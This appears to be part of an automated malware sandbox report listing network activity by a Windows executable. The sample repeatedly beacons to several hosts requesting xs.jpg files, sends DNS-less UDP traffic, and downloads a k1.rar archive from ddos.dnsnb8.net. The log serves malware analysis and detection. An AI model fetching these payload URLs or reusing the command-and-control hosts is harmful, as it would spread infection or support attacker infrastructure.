Source: global traffic HTTP traffic detected: GET /images/xs.jpg?91387e43=-1405817186 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159481|1720159259|4|54|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2322230a=-1347768526 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159481|1720159259|4|54|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5e41367=98833255 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159482|1720159260|4|54|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?8effb8fc=117276892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1964acc0=1278084672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d090ea93=-795809133 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159485|1720159259|4|55|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9ba60573=343684734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159485|1720159259|4|55|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fc675e35=-120669078 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159486|1720159260|4|55|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?9a7e303d=-814051145 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?325396b5=-1835223640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?17f3b14d=-1883887666 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159489|1720159259|4|56|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?912c2e80=445489792 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159490|1720159259|4|56|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1ad41f3e=450109246 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159490|1720159260|4|56|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d1cd8e49=1614413969 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?45eba6e7=794638136 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8021ab3c=-2145277124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159493|1720159259|4|57|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a8434aa9=-1471984983 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159494|1720159259|4|57|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b7b2891=1733586201 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159494|1720159260|4|57|0; snkz=8.46.123.33
Source: unknown UDP traffic detected without corresponding DNS query: 85.17.167.196
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0043E810 ioctlsocket,recvfrom, 6_2_0043E810
Source: global traffic HTTP traffic detected: GET /cj//k1.rar HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ddos.dnsnb8.net:799Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5e49a2=6179234 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?60b080=25346560 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?63977b=19580529 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /xs.jpg?71a0be=14893436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?84b38e=43483590 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e6979d=105784651 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159259|1720159259|0|1|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?10010fa=33563124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159259|1720159259|0|1|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?10da53c=53014452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159260|1720159260|0|1|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1209c47=37828750 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?13a89f9=164909000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?17b6de9=198930248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159264|1720159259|2|2|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1952911=185868151 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159265|1720159259|3|2|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1a33e4b=109902124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159265|1720159260|2|2|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1b6026e=172232340 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1c98993=269866539 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?20ae1e9=239873375 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159268|1720159259|3|3|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?224a908=215742000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159269|1720159259|3|3|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?256dbec=353221452 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159269|1720159260|3|3|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?263e0bf=360900279 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?27da790=167157312 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2dce9fa=384258000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159272|1720159259|3|4|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2f6b0f9=149164779 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159272|1720159259|3|4|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?341e887=546510150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159273|1720159260|3|4|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?34f3b0d=388668763 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?362c1e4=113607624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3c84448=190368984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159276|1720159259|3|5|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?3dc8d75=518286248 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159276|1720159259|3|5|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3e9e01a=262635624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159277|1720159260|3|5|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?42142ff=692887030 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?434c9e5=282273684 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?475ad88=299284000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159280|1720159259|3|6|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4ae2102=706685202 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159280|1720159259|3|6|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?4c9a32f=401616875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159281|1720159260|3|6|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?513542c=255458436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?59e2a88=565509936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?676dbbc=108452796 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159283|1720159259|3|7|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?6dcc621=690791622 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159284|1720159259|3|7|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7591ee5=1109530125 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159285|1720159260|3|7|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?7ab8dec=1286835000 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?811c5c4=406147404 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8f21b84=600337936 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159287|1720159259|3|8|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?96faab4=1108191980 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159288|1720159259|3|8|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?9b39c81=651063812 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159288|1720159260|3|8|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a2ff583=854576015 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a95dff7=1598349231 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?bc3818e=986810310 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159291|1720159259|3|9|0
